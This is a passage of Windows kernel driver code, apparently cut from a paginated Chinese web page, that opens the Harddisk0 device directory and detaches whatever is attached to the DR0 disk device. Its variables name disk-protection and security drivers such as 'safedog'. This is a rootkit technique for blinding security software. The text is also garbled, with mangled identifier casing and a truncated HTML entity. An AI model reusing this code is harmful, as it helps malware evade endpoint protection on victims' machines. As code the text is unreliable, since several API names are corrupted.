IVER_OBJECT DriverObject, IN PVOID Context, IN ULONG Count ){
OBJECT_ATTRIBUTES ObjectAttributes; PDEVICE_OBJECT devobj; UNICODE_STRING aDeviceHarddisk,aDriverProtecte; UNICODE_STRING aDriverAtapi,aDriverDisk,safedog; HANDLE DirectoryHandle; PVOID Object; PDRIVER_OBJECT atapiobj,protectdrv,diskdrv,dogdrv; ULONG mjcreate,systemservice,foundaddr,pointer,iopointer,dbgpoint; int v10,i; unsigned int count; RtlInITUnicodeString(&aDeviceHarddisk,L"\\Device\\Harddisk0"); ObjectAttributes.Length = 24; ObjectAttributes.RootDirectory = 0; ObjectAttributes.ObjectName =&aDeviceHarddisk; ObjectAttributes.Attributes = 64; ObjectAttributes.SecurITyDescriptor = 0; ObjectAttributes.SecurityQualITyOfService = 0;
if ( !ZwOpenDirectoryObject(&DirectoryHandle, DIRECTORY_QUERY, &ObjectAttributes) ) { if ( !ObReferenceObjectByHandle(DirectoryHandle, 1, 0, 0, &Object, 0) ) { if ( Object ) { count = 0; while (count < 0x28 )//抹掉DR0的AttachDevice { v10 = *((DWORD *)Object + count); if ( v10 ) { devobj = *(PDEVICE_OBJECT*)(v10 + 4); if ( devobj->Type == 3 ) { if ( devobj->AttachedDevice ) { dr0attach = devobj->AttachedDevice; dr0dev = devobj; devobj->AttachedDevice = 0; break; } &nbs 上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] ... 下一页 >>
|